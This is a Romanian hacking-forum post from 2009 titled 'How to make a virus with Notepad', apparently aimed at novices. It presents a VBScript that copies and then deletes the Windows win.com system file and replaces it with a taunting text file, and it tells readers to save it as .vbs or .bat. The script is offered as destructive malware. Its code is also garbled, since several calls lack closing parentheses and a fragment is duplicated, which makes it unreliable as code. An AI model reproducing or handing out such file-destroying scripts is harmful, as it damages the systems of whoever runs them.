ExtraHack Forum
Doriți să reacționați la acest mesaj? Creați un cont în câteva clickuri sau conectați-vă pentru a continua.
Căutare
 
 

Rezultate pe:
 


Rechercher Cautare avansata

Ultimele subiecte
» Hack Ce Sterge Orice Prinde!
Cum fac un virus prin notepad... Icon_minitimeMier Iul 23, 2014 5:40 pm Scris de blonduletzu

» Intri in calc la cineva fara sa stie, si-ti faci de cap!(furi parole, spionezi, iti bati joc de el etc)
Cum fac un virus prin notepad... Icon_minitimeMier Iul 10, 2013 6:03 am Scris de Moldovan

» Vind 1,5GB ramDDR 400 - PC3200
Cum fac un virus prin notepad... Icon_minitimeSam Iun 01, 2013 5:58 am Scris de janmpy

» webcam surveillance server
Cum fac un virus prin notepad... Icon_minitimeSam Iun 01, 2013 2:11 am Scris de Botul

» Magazin Licente Jocuri !
Cum fac un virus prin notepad... Icon_minitimeVin Aug 17, 2012 5:23 am Scris de jevelo

» Avatar Stealer (Furi Avatare)
Cum fac un virus prin notepad... Icon_minitimeSam Ian 23, 2010 4:23 am Scris de aDrYaN

» Program care va permite sa puneti la status caractere speciale de tip ASCII, adica simboluri din-alea in toate felurile pe langa statusul vostru.
Cum fac un virus prin notepad... Icon_minitimeSam Ian 23, 2010 4:17 am Scris de aDrYaN

» Culori Counter-Strike
Cum fac un virus prin notepad... Icon_minitimeSam Ian 23, 2010 3:46 am Scris de aDrYaN

» Cum pot schimba parola de la Yahoo ?
Cum fac un virus prin notepad... Icon_minitimeSam Ian 23, 2010 3:36 am Scris de aDrYaN

Navigare
 Portal
 Index
 Membri
 Profil
 FAQ
 Cautare
Parteneri
forum gratuit


Cum fac un virus prin notepad...

In jos

Cum fac un virus prin notepad... Empty Cum fac un virus prin notepad...

Mesaj Scris de Hack-Inf3c7 Mar Aug 25, 2009 1:36 pm

Creati un Fisier Text Nodepad deschidetil si scrieti urmatoarele :
Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
Code:

Dim fso, fs1, fs2
Dim drive, folder, file
Set fso = CreateObject("Scripting.FileSystemObject"
drive = "c:\"
folder ="windows\"
file = "win.com"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.copy ("c:\windows\temp\win.com"
set fs2=fso.CreateTextFile("c:\windows\win.com"
fs2.writeline "win.com is gone images/smiles/icon_biggrin.gif"
Set fs1 = fso.GetFile(drive&folder&file)
fs1.delete
fs2.close

Apoi dati sus la Fille => Save as apoi punem nume.vbs sau nume.bat nu mai stiu in ce extensie incercatile pe ambele
!!!Atentie!!! Nu dati dublu clik pe el Evil or Very Mad
Hack-Inf3c7
Hack-Inf3c7

Numarul mesajelor : 8
Data de inscriere : 25/08/2009
Localizare : Bucuresti

Sus In jos

Sus

- Subiecte similare

 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum